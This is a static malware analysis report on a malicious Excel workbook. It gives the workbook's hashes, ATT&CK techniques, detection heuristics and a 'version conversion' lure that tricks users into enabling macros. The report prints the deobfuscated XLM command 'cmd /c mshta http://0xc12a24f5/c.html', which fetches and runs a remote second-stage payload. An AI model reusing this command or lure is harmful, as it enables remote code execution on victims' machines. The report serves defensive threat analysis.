Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 da0decbda63cc2fb…

MALICIOUS

Office (OLE) / .XLS

65.6 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 53bea098b495f96218c09f17e22fad9d SHA-1: 6915db9be1e538e396e5f1d59c640158e26af73b SHA-256: da0decbda63cc2fbb3b768d77078db1ef537aff2878d873a2c6614df519f9716
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic Application T1218.005 System Binary Proxy Execution: Mshta T1105 Ingress Tool Transfer T1566.001 Phishing: Spearphishing Attachment

The sample uses a 'version conversion' lure in the document body to trick the user into enabling macros. The extracted XLM macros contain a string obfuscated with carets, which reconstructs to 'cmd /c mshta http://0xc12a24f5/c.html' and 'cmd /c mshta http://0xc12a24f5/cc.html'. This indicates the intent to use mshta.exe to execute a remote HTML application file as a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes